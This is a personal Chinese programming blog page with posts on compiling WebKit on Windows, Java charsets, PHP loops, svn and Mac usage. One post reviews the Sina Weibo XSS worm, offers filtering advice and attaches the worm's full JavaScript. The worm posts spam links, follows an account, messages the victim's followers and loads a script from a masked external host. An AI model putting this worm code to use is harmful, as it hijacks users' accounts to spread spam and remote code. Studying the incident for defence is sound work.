在windows下编译webkit

这是半年前在windows上编译、调试webkit的一些记录,可能比较乱。

windows下的webkit apple port编译的经验总结

  1. 主要参考webkit官网,在不清楚文档中每一步的作用前,老老实实的按照文档做
  2. 安装cygwin的时候要选择install from local directory, 否则会缺失包
  3. 在WebKitLibraries/win/tools/vsprops目录下面手动建立一个.svn文件夹(可以通过命令行建立)
  4. BuildLog是很好的参考资料,一旦出错,参考该log是比较容易找出问题的
  5. build-webkit 和 通过 vs编译事实上是一样的,因为build-webkit调用的是就是vs的命令行
  6. 另外dumprendertree 还是必须将vs编译的选项 treat warning as error改成 no,否则无法编译通过
  7. 在编译时还遇到一个问题,就是cl.exe报fatal错误,查了相关资料,后来没做任何处理,重新编译就可以了
debug调试
用safari作为debug总是会出错,以下为错误信息:
Unhandled exception at 0x78145215 (msvcr80.dll) in Safari.exe: 0xC0000005: Access violation reading location 0x091bfffc.
memcpy(data, characters, length * sizeof(UChar));
+ dst 0x091c0034 "" unsigned char *
+ src 0x089e9b10 ",甓" unsigned char *
count 68945734 unsigned long
memcpy(data, characters, length * sizeof(UChar));
+ data 0x091c0034 "" wchar_t *
+ characters 0x089e9b10 "Ҷ" const wchar_t *
length 34472867 unsigned int
+ string {m_ptr=0x091c0020 } WTF::PassRefPtr<WTF::StringImpl>
后来使用winLancher作为debug的工具,还是不错的。
或者使用minibrowser作为debug的工具,需要主要的是,minibrowser要attach到webkit2的进程上面
运行这个需要apple的相关dll,这些dll的位置在 C:\Program Files\Common Files\Apple\Apple Application Support
注意,不要把webkit javascriptcore相关文件复制过去。
下面是点击一个按钮到提交form对应的堆栈信息:
WebKit.dll!WebCore::HTMLFormElement::prepareSubmit(WebCore::Event * event=0x03417dc0)  Line 265 C++
WebKit.dll!WebCore::HTMLInputElement::defaultEventHandler(WebCore::Event * evt=0x03417dc0)  Line 2207 + 0x13 bytes C++
WebKit.dll!WebCore::Node::dispatchGenericEvent(WTF::PassRefPtr<WebCore::Event> prpEvent={...})  Line 2747 + 0x1b bytes C++
WebKit.dll!WebCore::Node::dispatchEvent(WTF::PassRefPtr<WebCore::Event> prpEvent={...})  Line 2631 + 0x12 bytes C++
WebKit.dll!WebCore::Node::dispatchUIEvent(const WTF::AtomicString & eventType={...}, int detail=1, WTF::PassRefPtr<WebCore::Event> underlyingEvent={...})  Line 2799 + 0x22 bytes C++
WebKit.dll!WebCore::Node::defaultEventHandler(WebCore::Event * event=0x03ec3548)  Line 3021 + 0x23 bytes C++
WebKit.dll!WebCore::HTMLFormControlElementWithState::defaultEventHandler(WebCore::Event * event=0x03ec3548)  Line 472 C++
WebKit.dll!WebCore::HTMLInputElement::defaultEventHandler(WebCore::Event * evt=0x03ec3548)  Line 2442 C++
WebKit.dll!WebCore::Node::dispatchGenericEvent(WTF::PassRefPtr<WebCore::Event> prpEvent={...})  Line 2747 + 0x1b bytes C++
WebKit.dll!WebCore::Node::dispatchEvent(WTF::PassRefPtr<WebCore::Event> prpEvent={...})  Line 2631 + 0x12 bytes C++
WebKit.dll!WebCore::Node::dispatchMouseEvent(const WTF::AtomicString & eventType={...}, int button=0, int detail=1, int pageX=435, int pageY=73, int screenX=531, int screenY=178, bool ctrlKey=false, bool altKey=false, bool shiftKey=false, bool metaKey=false, bool isSimulated=false, WebCore::Node * relatedTargetArg=0x00000000, WTF::PassRefPtr<WebCore::Event> underlyingEvent={...})  Line 2924 C++
WebKit.dll!WebCore::Node::dispatchMouseEvent(const WebCore::PlatformMouseEvent & event={...}, const WTF::AtomicString & eventType={...}, int detail=1, WebCore::Node * relatedTarget=0x00000000)  Line 2833 C++
WebKit.dll!WebCore::EventHandler::dispatchMouseEvent(const WTF::AtomicString & eventType={...}, WebCore::Node * targetNode=0x03ee9b48, bool __formal=true, int clickCount=1, const WebCore::PlatformMouseEvent & mouseEvent={...}, bool setUnder=true)  Line 1845 + 0x23 bytes C++
WebKit.dll!WebCore::EventHandler::handleMouseReleaseEvent(const WebCore::PlatformMouseEvent & mouseEvent={...})  Line 1573 + 0x2f bytes C++
WebKit.dll!WebView::handleMouseEvent(unsigned int message=514, unsigned int wParam=0, long lParam=4784563)  Line 1402 C++
WebKit.dll!WebView::WebViewWndProc(HWND__ * hWnd=0x000d02da, unsigned int message=514, unsigned int wParam=0, long lParam=4784563)  Line 2052 + 0x14 bytes C++
user32.dll!77d18734()
[Frames below may be incorrect and/or missing, no symbols loaded for user32.dll]
user32.dll!77d18816()
user32.dll!77d189cd()
user32.dll!77d191f1()
user32.dll!77d18a10()
WinLauncher_debug.exe!wWinMain(HINSTANCE__ * hInstance=0x00400000, HINSTANCE__ * hPrevInstance=0x00000000, wchar_t * lpCmdLine=0x00020b14, int nCmdShow=1)  Line 241 + 0x10 bytes C++
WinLauncher_debug.exe!__tmainCRTStartup()  Line 589 + 0x1c bytes C
kernel32.dll!7c817077()
更加详细的堆栈信息
WebKit.dll!WebCore::FrameLoader::submitForm(WTF::PassRefPtr<WebCore::FormSubmission> submission={...})  Line 367 C++
WebKit.dll!WebCore::HTMLFormElement::submit(WebCore::Event * event=0x03417dc0, bool activateSubmitButton=true, bool lockHistory=false, WebCore::FormSubmissionTrigger formSubmissionTrigger=NotSubmittedByJavaScript)  Line 312 C++
WebKit.dll!WebCore::HTMLFormElement::prepareSubmit(WebCore::Event * event=0x03417dc0)  Line 268 C++
WebKit.dll!WebCore::HTMLInputElement::defaultEventHandler(WebCore::Event * evt=0x03417dc0)  Line 2207 + 0x13 bytes C++
WebKit.dll!WebCore::Node::dispatchGenericEvent(WTF::PassRefPtr<WebCore::Event> prpEvent={...})  Line 2747 + 0x1b bytes C++
WebKit.dll!WebCore::Node::dispatchEvent(WTF::PassRefPtr<WebCore::Event> prpEvent={...})  Line 2631 + 0x12 bytes C++
WebKit.dll!WebCore::Node::dispatchUIEvent(const WTF::AtomicString & eventType={...}, int detail=1, WTF::PassRefPtr<WebCore::Event> underlyingEvent={...})  Line 2799 + 0x22 bytes C++
WebKit.dll!WebCore::Node::defaultEventHandler(WebCore::Event * event=0x03ec3548)  Line 3021 + 0x23 bytes C++
WebKit.dll!WebCore::HTMLFormControlElementWithState::defaultEventHandler(WebCore::Event * event=0x03ec3548)  Line 472 C++
WebKit.dll!WebCore::HTMLInputElement::defaultEventHandler(WebCore::Event * evt=0x03ec3548)  Line 2442 C++
WebKit.dll!WebCore::Node::dispatchGenericEvent(WTF::PassRefPtr<WebCore::Event> prpEvent={...})  Line 2747 + 0x1b bytes C++
WebKit.dll!WebCore::Node::dispatchEvent(WTF::PassRefPtr<WebCore::Event> prpEvent={...})  Line 2631 + 0x12 bytes C++
WebKit.dll!WebCore::Node::dispatchMouseEvent(const WTF::AtomicString & eventType={...}, int button=0, int detail=1, int pageX=435, int pageY=73, int screenX=531, int screenY=178, bool ctrlKey=false, bool altKey=false, bool shiftKey=false, bool metaKey=false, bool isSimulated=false, WebCore::Node * relatedTargetArg=0x00000000, WTF::PassRefPtr<WebCore::Event> underlyingEvent={...})  Line 2924 C++
WebKit.dll!WebCore::Node::dispatchMouseEvent(const WebCore::PlatformMouseEvent & event={...}, const WTF::AtomicString & eventType={...}, int detail=1, WebCore::Node * relatedTarget=0x00000000)  Line 2833 C++
WebKit.dll!WebCore::EventHandler::dispatchMouseEvent(const WTF::AtomicString & eventType={...}, WebCore::Node * targetNode=0x03ee9b48, bool __formal=true, int clickCount=1, const WebCore::PlatformMouseEvent & mouseEvent={...}, bool setUnder=true)  Line 1845 + 0x23 bytes C++
WebKit.dll!WebCore::EventHandler::handleMouseReleaseEvent(const WebCore::PlatformMouseEvent & mouseEvent={...})  Line 1573 + 0x2f bytes C++
WebKit.dll!WebView::handleMouseEvent(unsigned int message=514, unsigned int wParam=0, long lParam=4784563)  Line 1402 C++
WebKit.dll!WebView::WebViewWndProc(HWND__ * hWnd=0x000d02da, unsigned int message=514, unsigned int wParam=0, long lParam=4784563)  Line 2052 + 0x14 bytes C++
user32.dll!77d18734()
[Frames below may be incorrect and/or missing, no symbols loaded for user32.dll]
user32.dll!77d18816()
user32.dll!77d189cd()
user32.dll!77d191f1()
user32.dll!77d18a10()
WinLauncher_debug.exe!wWinMain(HINSTANCE__ * hInstance=0x00400000, HINSTANCE__ * hPrevInstance=0x00000000, wchar_t * lpCmdLine=0x00020b14, int nCmdShow=1)  Line 241 + 0x10 bytes C++

Share "在windows下编译webkit"

Share on: FacebookTwitter

不选择mac的几个原因

虽然自己选择mac,但自己又不推荐mac,这实在不是使用mac人做出的事情。其实上我只是实话实说,如果你仅仅是为了酷、尝鲜,我还是不推荐使用mac。不是说mac不好用,的确现实中存在一些问题,有些是我朝的特殊情况,有些是系统本身的设计等等,主要如下,列出来供各位参考。

1 我朝网银

mac下我朝很多网银无法使用,这其实与mac无关,是我们的银行死赖着ie不放手。

可喜的是部分支付公司和银行已经支持多系统,多平台了。

可悲的是有些××部(你懂的)网站,只能win下的ie交易。

2 娱乐性可能稍微差点

鉴于我朝的情况,看电视,视频主要是一个pptv此类软件,在mac现在还没有什么好的软件。至于游戏,还是不如win下的多,qq游戏等到现在还没有mac版。

可以选择的方案是去各大网站上看视频,如果你的网速足够好;至于游戏,我也不知道了。

3 同类软件相关功能较少

虽然mac上有qq,但是其功能很少,支持视频也是最近的事情。

4 office的兼容性

现在mac上的office打开win下的office文件基本没有什么问题了,但是公式等小的地方还有差异(mac里面公式参数分割符是分号,win下参数分割符为逗号),excel里面的中文有时候也会出现莫名的乱码。当你急着要给老板报表而你自己又不熟悉mac上的office时,你可能会抓狂。

5 键盘的差异

主要的差异是没有home, end, pageup以及pagedown,不过可以使用Cmd + left  , Cmd + right, Fn + up 和Fn+down 组合键替代(如果在terminal中使用Ctrl+a, Ctrl+e替代home和end),熟练以后其实也没有什么差异,另外在win下用的Ctrl键的命令到mac上基本是Cmd键替代。

6 专用,偏僻软件没有mac版本

现在主要用的软件都有mac版本,从设计工具到办公套件,从开发的IDE到基本的浏览器,都有mac版本。但有时候的软件却只用win的版本,比如什么山寨上网卡驱动啊,天朝衙门的软件啊,当你不得不用这些软件时,这时你肯定后悔买了mac。

7 操作习惯的改变

窗口没有绝对的最大化;

关闭、最小化等按钮在窗口的左上角;

对很多程序来说,窗口关闭了,但程序不是退出的,除非你选择完全退出程序;

没有剪切文件(使用mv的同学请忽略此文章)以及新建文件,只有拷贝文件,或者通过拖拉的方式完成剪切等等。

 

如果你要在mac上装windows,以上文字都请忽略之。

目前的解释是这样的,至于你信不信,我是信了。

Share "不选择mac的几个原因"

Share on: FacebookTwitter

java字符集小记

该blog整理自我的笔记,可能比较乱。

1 String.getBytes(String charset) 方法:是将string 以 charset来编码,同一个string 可以以很多不同的charset来编码,得到的Byte数组也是不一样的。

2 new String (byte[], String charset) 这个是将byte数组里面的数据以charset来解码,这里很容易出现乱码,原因就是charset选择不对。
3 为什么会存在 以下代码转码的情形:

String utf8 = new String (a.getBytes("8859_1"), "gb2312");

原因是:首先 a 从人类角度来看是乱码了; 再次,a之前是以8859_1来编码的,后来发现真实的编码应该是 gb2312。其中的 a.getBytes("8859_1")只是为了获得最初的byte[],如果你有最初的byte[],完全不需要通过a.getBytes("8859_1")来获得。

String a = new String (bo.toByteArray(), "8859_1");

String correct = new String (a.getBytes("8859_1"), "gb2312");

上面这段代码等于

String correct = new String (bo.toByteArray(), "gb2312");

4 java 里面的string是没有charset一说的,都是以unicode来保存的。

5 关于servlet,jsp里面的乱码问题
5.1 request.setCharacterEncoding(String) 是对request 的 body的解码有用,故设置这个对解决GET参数里面的乱码没有用;l另外需要注意浏览器发送请求的原始编码是否正确
5.2 response.setCharacterEncoding(String) 声明一下编码即可保证输出正确的编码;需要注意的是:必须要在getWriter前设置。详情可以参考 javadoc:
This method can be called repeatedly to change the character encoding. This method has no effect if it is called after getWriter has been called or after the response has been committed.
6 如何检测编码?
检测编码就是计算这一组字节在各个字符集上解码的可读性,选择可读性最高的那个编码为最终的编码,所以这件事情也不是那么简单的。
当然,utf8 bom时会有一些特殊byte可以判断。
对于html来说,简单的方法是看http header和html中声明的编码。

Share "java字符集小记"

Share on: FacebookTwitter

新浪微博XSS事件回顾

事件回顾

最近新浪weibo遭到XSS攻击,攻击的流程如下:

  1. 攻击者给部分用户发消息,里面是一些有诱惑的链接
  2. 攻击者点击这些诱惑性的链接(含有恶意代码,但由于使用的是短链接,这个更加不容易被发现),
  3. 新浪微博有漏洞,可以执行攻击者的js代码
  4. js代码的具体作用就是继续发消息,加关注,发私信继续传播

XSS是什么?

XSS(Cross Site Script) ,跨站脚本攻击。简单来讲,这种攻击就是能够让你的网站执行攻击者的js代码。

当然,如果攻击者能够在你的网站上执行服务端脚本(如php,asp等),那这个就不是简单的XSS了,那是大漏洞,我自己做的页面(某手机品牌官网)就有这个漏洞,做过这样的大蠢事。

什么情况下会有XSS

一般来说,允许用户发表html的内容,就会有,如blog提供商,sns等允许富样式的网站。

如果要避免,个人觉得还是非常小心的。

  1. 过滤用户输入中不应该有的标签,script此类的标签肯定是要过滤的,如果有标签白名单,当然最好
  2. 过滤用户输入中的属性,onload onerror此类的属性要过滤的,同样,有标签属性白名单最好
  3. 过滤用户输入中属性里的非法代码,如<img src="javascript:fun();" />,需要注意的是转码形式的也要过滤掉

还有一类漏洞也会带来XSS,那就是攻击者能够将他需要执行的内容放到你的网页中。

典型的是类似 openfile.php?src=1.txt这样的链接。

本来的意思是希望读取本地的1.txt展示给用户看,但如果你没有做好过滤的话,攻击者输入 openfile.php?src=http://hacker.com;那就会将别人的代码(读取hacker.com上的内容)放在你自己的网页中执行了。

总之,由于web程序的特殊性,对用户的输入都要万分小心。

如果是一般的不允许用户输入html的网站,如电子商务网站,最简单的处理方法是,对所有的用户输入的html都转义。这样,就就不会有xss了。

 

附件(新浪xss攻击代码,仅供参考):

function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject("Microsoft.XMLHTTP");}

function getappkey(url){ xmlHttp = createXHR(); xmlHttp.open("GET",url,false); xmlHttp.send(); result = xmlHttp.responseText; id_arr = ''; id = result.match(/namecard=\"true\" title=\"[^\"]*/g); for(i=0;i<id.length;i++){ sum = id[i].toString().split('"')[3]; id_arr += sum + '||'; } return id_arr;}

function random_msg(){ link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();; var msgs = [ '郭美美事件的一些未注意到的细节:', '建党大业中穿帮的地方:', '让女人心动的100句诗歌:', '3D肉团团高清普通话版种子:', '这是传说中的神仙眷侣啊:', '惊爆!范冰冰艳照真流出了:', '杨幂被爆多次被潜规则:', '傻仔拿锤子去抢银行:', '可以监听别人手机的软件:', '个税起征点有望提到4000:']; var msg = msgs[Math.floor(Math.random()*msgs.length)] + link; msg = encodeURIComponent(msg); return msg;}

function post(url,data,sync){ xmlHttp = createXHR();    xmlHttp.open("POST",url,sync);    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");    xmlHttp.send(data);}

// 发微博
function publish(){ url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; post(url,data,true);}

// 加关注
function follow(){ url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime(); data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile'; post(url,data,true);}

// 发私信
function message(){ url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; ids = getappkey(url); id = ids.split('||'); for(i=0;i<id.length - 1 & i<5;i++){ msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime(); msg = random_msg(); msg = encodeURIComponent(msg); user = encodeURIComponent(encodeURIComponent(id[i])); data = 'content=' + msg + '&name=' + user + '&retcode='; post(msgurl,data,false); }}

function main(){ try{ publish(); } catch(e){} try{ follow(); } catch(e){} try{ message(); } catch(e){}}

try{   x="g=document.createElement('script');g.src='http://www.***.**/images/t.js';document.body.appendChild(g)";window.opener.eval(x);}catch(e){}main();var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

 

Share "新浪微博XSS事件回顾"

Share on: FacebookTwitter

哪些信息是对自己有用的?

在信息大爆炸的时代,人们接触的信息量远远超过了过去的任一时代,加之sns,微博等的流行,信息可谓铺天盖地;但人的时间总是有限的,科技再发达也不可能将一天24小时变成一天48小时。除了睡觉,吃饭,上下班等必须花费的时间外,用来获得信息的时间更加有限。

我一直在想的一个问题是,哪些信息到底是自己需要的?这可能是一个难题;但可以先看看这些信息有哪些,个人觉得这些信息大概能划分成这些类别:

  1. 关于自己的信息:家人,朋友的近况等
  2. 工作,学习等能力相关的信息:工作,学习心得,提高自己业务能力方面的信息等
  3. 世界上发生的大事:国际、国内经济,政治大事等
  4. 一些有趣的信息:奇人异事等
  5. 完全无聊的信息:××门,××必看,口水贴,标题党等

注:上述划分完全是依据个人情况,××门对我也许是无聊信息,但对娱乐界人士来说也许是工作相关的信息。

从重要性来讲,当然是越前面的越重要;但是从获取量来看,却是后面的比前面的要多。打开大部分网站首页,大部分的信息也是属于后面的。sns,微博传播的好的信息多吗,也不是,国内的社交网络主要还是娱乐为主的。

想想自己过去看过的某个新闻,很多时候都有这样的套路:×××惊爆×××内幕,过了几天又有一条:×××否认×××存在。即使是科技类新闻也难逃此俗套。获取这种信息的感觉就像是嚼了一把糠,期望里面能有点米,甚至幻想它是美味的麦片;可最终发现,不仅一无所有,还要吐出来,浪费了吃饭的时间。

阅读GR订阅能够解决问题吗,好像也不能:一方面订阅的信息可能也很多;另外一方面,订阅的内容中还是需要自己再去挑一次。不知是否还有更好的工具。

最后,那只能是,时刻提醒别花费过多时间在无聊信息上,多和朋友,家人交流,多看看有价值的信息。

Share "哪些信息是对自己有用的?"

Share on: FacebookTwitter

寻路启示

每次吃完晚饭回家,都要沿一条大道走回去。从距离来讲,我知道走这条路绕路了,但是由于这条路是我同事带我走过的,是被证实过没有问题的,加上这块区域十字路口多,所以我不大愿意,也不敢去发掘新的路线,一则晚上想回去歇着;二则晚上人的辩路能力下降。有探过一次路,但以失败告终。

但就在前几天,我非常不服气,不再愿意多走那几步路。因此又鼓起勇气,开始寻找起路来。在决定走新路之前,脑子里有了一些想法:

1 确定行走的大方向,沿着这个方向应该能够走到我住的地方;

2 遇到十字路口,选择自己住的地方地理位置近的方向走,而不关心前面的路到底是怎么样。

期望最好的结果是顺利到家;还有可能的差一点结果是到达我熟悉的大街上,再从那条熟悉的大街走回住的地方,再差的情况,那就是死胡同了(由于人类的伟大,这种可能不大,最多就是往回走上一段,再重新寻找路径)。

有了这些想法(类A*算法嘛)后,最短路径就这样被我发掘到了,没有遇到任何困难。回想起之前的那一次寻路,心中更多的是慌乱,从而失去了基本的判断能力,最后连自己怎么回来的也不曾记得。

人在不熟悉的环境中总是容易放大自己的困难,从而丧失很多自己本来拥有的判断能力,这就是我这一次寻路的启示。

Share "寻路启示"

Share on: FacebookTwitter

php中"怪异"的循环

前不久在打酱油的时候发现了一个诡异的问题,遍历php数组,竟然结果有问题。具体就是最后一个元素的值和倒数第二个元素的值一样。最后打算去bugs.php.net上搜索一下是不是真的是bug,结果不是bug,有人也报告了这个问题,具体地址请移步至 http://bugs.php.net/bug.php?id=50582 。

问题代码:

Reproduce code:
---------------
$ii = array(1, 2, 3);
foreach ($ii as &$i) echo $i;
foreach ($ii as $i) echo $i;

Expected result:
----------------
123123

Actual result:
--------------
123122

rasmus的解释如下:

It doesn't act weird.  There is no block scope in PHP, so at the end of 
the first loop $i is a reference to the last element of $ii and in the 
second loop you are now assigning values to that reference which means 
you are overwriting the 3rd element of $ii each time through the loop.  
That of course means that once you get to the 3rd element of $ii it is 
no longer 3 and you see the last value assigned to it, which was 2.

意思就是说:php中没有块作用域,故变量 $i 的作用域不仅仅存在于第一个循环,而是存在与整个代码中,经过第一个循环后,$i 为 $ii最后一个元素的引用;第二个循环的作用就是不断将当前数组中各个元素的值赋值给$ii的最后一个元素,故最后一个元素的值为倒数第二个元素的值。

解决方法就是:

1 第二个循环中不用 $i

2 第一个循环结束后 unset($i)

Share "php中"怪异"的循环"

Share on: FacebookTwitter

svn update莫名失败的解决方法

svn有时候会出现莫名 forbidden options,假设你的work copy是/svn/src/wc, 结果你update时,它会请求 /svn/src这个根目录,接着就是 forbidden 错误。这个问题在mac 和 win下我都遇见过,很是郁闷。

搜了半天,在万恶的资本主义国家找到点东西,说是svn的bug。

目前的解决方法就是对该地址重新 svn sw 一下。

 

参考资料:

http://subversion.tigris.org/issues/show_bug.cgi?id=3242

Share "svn update莫名失败的解决方法"

Share on: FacebookTwitter

java io类小结

  1. 以 Writer Reader 结尾的类是text file相关的,既然与text file相关,那么必然有charset的概念, 暂存数组就是char[];
  2. 以 InputStream OutputStream 结尾的类都是binary file相关的,与charset无关,暂存数组就是byte[];
  3. 以 Buffered类开头的类都是用来做buffer用的,不考虑效率问题,可以从来不使用这些类;
  4. 以 File开头的类都是与File相关的,其他的场景,想都不用想了,都写文件,先想想File开头的类;
  5. PrintWriter 比 FileWriter更加通用。

Share "java io类小结"

Share on: FacebookTwitter

mac os中使用windows共享文件和打印机

办公室里面现在一般还是用的windows的机器,打印机,有时候我们需要从mac os中访问windows共享的资源,主要有共享文件和打印机。方法如下:

1 访问windows共享文件:打开 Finder > 前往 > 连接服务器,输入smb://ip地址,根据提示输入用户名,密码和需要访问的目录即可挂载。不推荐使用Finder窗口左侧的网络访问。

2 共享打印机:打开 系统偏好设置 > 打印与传真 , 点击左侧的 + ,添加打印机,选择windows tab(windows共享的打印机,别选IP 那个tab),选择共享的机器hostname和对应的打印机即可,一般的打印机,系统都有相关驱动。添加后即可打印。

Share "mac os中使用windows共享文件和打印机"

Share on: FacebookTwitter

blog built using the cayman-theme by Jason Long. LICENSE